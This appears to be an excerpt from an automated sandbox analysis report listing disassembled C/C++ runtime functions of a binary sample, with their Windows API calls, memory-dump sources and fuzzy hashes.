Instruction ID: 816d6f8408b9ab45075e87d7b8f63f0304569d548ef4841d55a3d2e2a56ca1a2
Opcode Fuzzy Hash: 27de436f5a4217da28d8ec0286e7c1c8ed9fa969634321409094e237c29b98dc
Instruction Fuzzy Hash: 12F0683640011ABBCF166FD0DC059DE3F66FB49761F058120FA1926061D732C972AB90

Function 00AB49B3 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00AB4C02,00AB4BF6,00000000), ref: 00AB49E5

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: ca53d738787c85ca93fa070d30ceea587c201c8544ef7455cc40b5b8805acd35
Instruction ID: 43188c7f9606c4435093f5e3362e3f408ca4ded642e06c201c368f5283ce4059
Opcode Fuzzy Hash: ca53d738787c85ca93fa070d30ceea587c201c8544ef7455cc40b5b8805acd35
Instruction Fuzzy Hash: A85149715042589EDB218F28CD80BEA7BBCEB5A344F2405EDE59AD7183D335AD46DF20

Function 00AAF123 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f797323832b831bf4872f51afbbeae1e1c869caf8b4cbdbeb60736f8db82149e
Instruction ID: b67791cc2c36a5a265a2353929648664f757ea88f09b379fb2fc035f43acc44a
Opcode Fuzzy Hash: f797323832b831bf4872f51afbbeae1e1c869caf8b4cbdbeb60736f8db82149e
Instruction Fuzzy Hash: FE01B933704115DF9B19DFE9EC4195A33A6EBC63207254235FA05DB1D4DB34D8029790

Non-executed Functions

Function 00AB7646 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00AB7964,00000002,00000000,?,?,?,00AB7964,?,00000000), ref: 00AB76DF
GetLocaleInfoW.KERNEL32(?,20001004,00AB7964,00000002,00000000,?,?,?,00AB7964,?,00000000), ref: 00AB7708
GetACP.KERNEL32(?,?,00AB7964,?,00000000), ref: 00AB771D

Strings

ACP, xrefs: 00AB7664
OCP, xrefs: 00AB769A

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: aed51caf41da6ec1e7e46b9e8be625b0c8697c3f785b619e45384eb4f884091e
Instruction ID: 5f83c863891288954a777835cd94841dce2064e308e6bfdb0a1d50f5274ec00a
Opcode Fuzzy Hash: aed51caf41da6ec1e7e46b9e8be625b0c8697c3f785b619e45384eb4f884091e
Instruction Fuzzy Hash: 5921A432608500A6D7248B68C910BDFB3AEEBD4B54F568524E80ADB513FBB2DD41D350

Function 00AB781B Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AAEB00: GetLastError.KERNEL32(?,00000008,00AB3006), ref: 00AAEB04
Part of subcall function 00AAEB00: SetLastError.KERNEL32(00000000,00000000,00000002,000000FF), ref: 00AAEBA6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00AB7927
IsValidCodePage.KERNEL32(00000000), ref: 00AB7970
IsValidLocale.KERNEL32(?,00000001), ref: 00AB797F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00AB79C7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00AB79E6

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: be987fc408490797d965fc5883676b3af480854840e55611cd568862477f3b2c
Instruction ID: f4c602583fe5353c9cdae0875542297d27a143d3b937202edd827b61a239f0fd
Opcode Fuzzy Hash: be987fc408490797d965fc5883676b3af480854840e55611cd568862477f3b2c
Instruction Fuzzy Hash: 06518071A04205AFEB50EFA5DC45AFE73BCFF84700F154529E911E7192EBB09A41CB61

Function 00AB6EB7 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AAEB00: GetLastError.KERNEL32(?,00000008,00AB3006), ref: 00AAEB04
Part of subcall function 00AAEB00: SetLastError.KERNEL32(00000000,00000000,00000002,000000FF), ref: 00AAEBA6

GetACP.KERNEL32(?,?,?,?,?,?,00AACB0C,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00AB6F78
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00AACB0C,?,?,?,00000055,?,-00000050,?,?), ref: 00AB6FA3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00AB7106

Strings

utf8, xrefs: 00AB7075

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 21571d2ba81d73818930a17aa90ba1ba940b82de4f7f6f5fba2bcb08b79c95af
Instruction ID: e7b33ba308e11e03370c6bd46fda6e1c578b2cb0264af6129f3c674dece35a52
Opcode Fuzzy Hash: 21571d2ba81d73818930a17aa90ba1ba940b82de4f7f6f5fba2bcb08b79c95af
Instruction Fuzzy Hash: 2571C272604206AADB24BB78DD46BFA73ACEF85700F14446AF516DB183FBB4ED418760

Function 00AA4E26 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00AA4E32
IsDebuggerPresent.KERNEL32 ref: 00AA4EFE
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AA4F17
UnhandledExceptionFilter.KERNEL32(?), ref: 00AA4F21

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f789982de21af972e1d5fed5cbf16d84c9bfc06e8c671fde9d57a3f3ec1c94a5
Instruction ID: c13133b80f2955957d92916d4344f8df26bff89c7f5ffe725ea92d5237a71ae4
Opcode Fuzzy Hash: f789982de21af972e1d5fed5cbf16d84c9bfc06e8c671fde9d57a3f3ec1c94a5
Instruction Fuzzy Hash: 0E31F775D052189FDF20EFA4D949BCDBBB8BF08700F1041AAE40DAB290EB759A85CF45

Function 00AA7C88 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00AA7DA7
___TypeMatch.LIBVCRUNTIME ref: 00AA7EB5
_UnwindNestedFrames.LIBCMT ref: 00AA8007
CallUnexpected.LIBVCRUNTIME ref: 00AA8022

Strings

csm, xrefs: 00AA7DDE
csm, xrefs: 00AA7CC5
csm, xrefs: 00AA7D32

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 9a8fa26341a652c74c8211792d3f802790ddbff46c4d1ee71f03dd541de36635
Instruction ID: cd1c162b7e45d4802eb9e4c2fb2ff3a48cab53a5aa08fcb80bcfbca0110b6c41
Opcode Fuzzy Hash: 9a8fa26341a652c74c8211792d3f802790ddbff46c4d1ee71f03dd541de36635
Instruction Fuzzy Hash: 1AB15572804209EFCF29EFA4CD819AFBBB5BF16310F14415AE8116B292D735DA51CFA1

Function 00AB16EC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00AB1965

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: c6c0822cc6c9f3c6a7153a0d8bd914718848cae7c523d5c4f9989ce9bc565530
Instruction ID: e152b6c70c67bfde76bead69c9ee2250a6a7449affa178eac8f36dbd9d6ff1fd
Opcode Fuzzy Hash: c6c0822cc6c9f3c6a7153a0d8bd914718848cae7c523d5c4f9989ce9bc565530
Instruction Fuzzy Hash: 26B1E371A04285AFDB11DF98C8A0BFDBBF9BF46350F944158E441A7293CB719E42CBA0

Function 00AB9969 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(01240650,01240650,?,7FFFFFFF,?,00AB9C39,01240650,01240650,?,01240650,?,?,?,?,01240650,?), ref: 00AB9A0F
__alloca_probe_16.LIBCMT ref: 00AB9ACA
__alloca_probe_16.LIBCMT ref: 00AB9B59
__freea.LIBCMT ref: 00AB9BA4
__freea.LIBCMT ref: 00AB9BAA
__freea.LIBCMT ref: 00AB9BE0
__freea.LIBCMT ref: 00AB9BE6
__freea.LIBCMT ref: 00AB9BF6

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: b9571765ad1980479591598ca1f3d929214a3ff87fcbeac8347f9a69ca92b759
Instruction ID: 88c353bbfb324ca22a597f9d2057cae6ee7bca2be7cba208ae6b9ea95a632fd2
Opcode Fuzzy Hash: b9571765ad1980479591598ca1f3d929214a3ff87fcbeac8347f9a69ca92b759
Instruction Fuzzy Hash: 3071D372900206ABDF219BA49D82FEF7BBDDF8A350F244059FA05A7283E775DD018761

Function 00AA4356 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00AA439F
__alloca_probe_16.LIBCMT ref: 00AA43CB
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00AA440A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AA4427
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00AA4466
__alloca_probe_16.LIBCMT ref: 00AA4483
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AA44C5
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00AA44E8

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 2c71df0f19ba96bf5e3c42fc45ce216ba6ab1cfccfd8bafac2dd811926d8aca7
Instruction ID: f04ae3bb6c00e8e4aa4183cee45a86db2b65322c8d1b2d496642cbacc3c7c39e
Opcode Fuzzy Hash: 2c71df0f19ba96bf5e3c42fc45ce216ba6ab1cfccfd8bafac2dd811926d8aca7
Instruction Fuzzy Hash: D1519072900216AFEF209FA4CC45FAB7BB9EF8A750F244525F9019B190E7B1CD11CB60

Function 00AA208C Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AA2093
std::_Lockit::_Lockit.LIBCPMT ref: 00AA209D
int.LIBCPMT ref: 00AA20B4

Part of subcall function 00AA25EC: std::_Lockit::_Lockit.LIBCPMT ref: 00AA25FD
Part of subcall function 00AA25EC: std::_Lockit::~_Lockit.LIBCPMT ref: 00AA2617

codecvt.LIBCPMT ref: 00AA20D7
std::_Facet_Register.LIBCPMT ref: 00AA20EE
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA210E
Concurrency::cancel_current_task.LIBCPMT ref: 00AA211B

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 55ea2e8da2db55acb5dc1fb2cdcb9b48e3f083d62d016d8593bc405d686a03cb
Instruction ID: df4ace630146dfbf8a9438b5a5a43788d12a2cfef8e5c6bdf732828aaed51ec9
Opcode Fuzzy Hash: 55ea2e8da2db55acb5dc1fb2cdcb9b48e3f083d62d016d8593bc405d686a03cb
Instruction Fuzzy Hash: 1901C0329001199BCF05EBA8CA517BE7766AF86310F254509F414AB2D1DF749E11CB91

Function 00AA2121 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AA2128
std::_Lockit::_Lockit.LIBCPMT ref: 00AA2132
int.LIBCPMT ref: 00AA2149

Part of subcall function 00AA25EC: std::_Lockit::_Lockit.LIBCPMT ref: 00AA25FD
Part of subcall function 00AA25EC: std::_Lockit::~_Lockit.LIBCPMT ref: 00AA2617

ctype.LIBCPMT ref: 00AA216C
std::_Facet_Register.LIBCPMT ref: 00AA2183
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA21A3
Concurrency::cancel_current_task.LIBCPMT ref: 00AA21B0

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registerctype
String ID:
API String ID: 2958136301-0
Opcode ID: af08c8e0d79fca4e195984c1a2543ec6eccb6b9ff81c80e59fd6a7835bb214f0
Instruction ID: 0c1ffd2d559a5fe2b58fb87435fdc760f3e1be33997e7bcf245e01ff82b4d1b2
Opcode Fuzzy Hash: af08c8e0d79fca4e195984c1a2543ec6eccb6b9ff81c80e59fd6a7835bb214f0
Instruction Fuzzy Hash: 0601F1329001199FCF05EBA8DA017BEBBB9BF86720F244509F514AB3D2DF749E048B90

Function 00AA791A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00AA7911,00AA5ABF,00AA4FD2), ref: 00AA7928
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00AA7936
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00AA794F
SetLastError.KERNEL32(00000000,00AA7911,00AA5ABF,00AA4FD2), ref: 00AA79A1

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4a468f714e618902e8e42faa578700573e9183f70857e5226d49e785aa2300ae
Instruction ID: 77950e23561ac29d1473527c9cec7a94e1706c9268529df3ae05959ec64c5241
Opcode Fuzzy Hash: 4a468f714e618902e8e42faa578700573e9183f70857e5226d49e785aa2300ae
Instruction Fuzzy Hash: 0901DF3220D2126EA66627B8BD85E2F2B95EB13370B20032FF115970F1FF124C0296A9

Function 00AAC1EF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,5E2ACE94,?,?,00000000,00ABB1C6,000000FF,?,00AAC17F,?,?,00AAC153,00000016), ref: 00AAC224
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AAC236
FreeLibrary.KERNEL32(00000000,?,00000000,00ABB1C6,000000FF,?,00AAC17F,?,?,00AAC153,00000016), ref: 00AAC258

Strings

mscoree.dll, xrefs: 00AAC21D
CorExitProcess, xrefs: 00AAC22E

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d99b5cafa6c7e38ff09e3ef008034146f62479c59952aa6410b25934bc151ea6
Instruction ID: 82a1d61d0694fc9757274e5329f58b5464bdb47f90399412bc8b4c5284666e3e
Opcode Fuzzy Hash: d99b5cafa6c7e38ff09e3ef008034146f62479c59952aa6410b25934bc151ea6
Instruction Fuzzy Hash: 32016731914619BFDB119F94DC05FEEBBBCFB44B14F040625F812A22E1EB759901CA50

Function 00AA3C8B Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AA3C92
std::_Lockit::_Lockit.LIBCPMT ref: 00AA3C9D
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA3D0B

Part of subcall function 00AA3DEE: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00AA3E06

std::locale::_Setgloballocale.LIBCPMT ref: 00AA3CB8
_Yarn.LIBCPMT ref: 00AA3CCE

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: fbfe303f8ac8804ba36ddad44fb70772be5b920e28c8e69faa0f1708e248ca4f
Instruction ID: 118e11263586d10c73391f0729546b954b855a9a6bb8f7c2669b44288c5fdc49
Opcode Fuzzy Hash: fbfe303f8ac8804ba36ddad44fb70772be5b920e28c8e69faa0f1708e248ca4f
Instruction Fuzzy Hash: 74018F76A002109BCB06EB60D9416BD7B66BFD6740B188019F8126B3D2DF74AF06CF95

Function 00AA232A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AA2331
std::_Lockit::_Lockit.LIBCPMT ref: 00AA233E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AA237B

Part of subcall function 00AA3D89: _Yarn.LIBCPMT ref: 00AA3DA8
Part of subcall function 00AA3D89: _Yarn.LIBCPMT ref: 00AA3DCC

Strings

bad locale name, xrefs: 00AA238C

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$H_prolog3Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 482894088-1405518554
Opcode ID: 90de518ff74638c3daa5f1f2b48b9cd8dc2c632d7bbeaa3a82a2813f3883bd6f
Instruction ID: 9ecca9e46db7b1b16d21eccc0df7f261207a03365ed3bdc233949a2ee32e2edb
Opcode Fuzzy Hash: 90de518ff74638c3daa5f1f2b48b9cd8dc2c632d7bbeaa3a82a2813f3883bd6f
Instruction Fuzzy Hash: 160180729057949EC7309FAA954158AFFE4BF1A350B408A6FF18DC7A42D770E600CBA9

Function 00AA8A62 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00AA8A13,00000000,?,00B149FC,?,?,?,00AA8BB6,00000004,InitializeCriticalSectionEx,00ABEB88,InitializeCriticalSectionEx), ref: 00AA8A6F
GetLastError.KERNEL32(?,00AA8A13,00000000,?,00B149FC,?,?,?,00AA8BB6,00000004,InitializeCriticalSectionEx,00ABEB88,InitializeCriticalSectionEx,00000000,?,00AA896D), ref: 00AA8A79
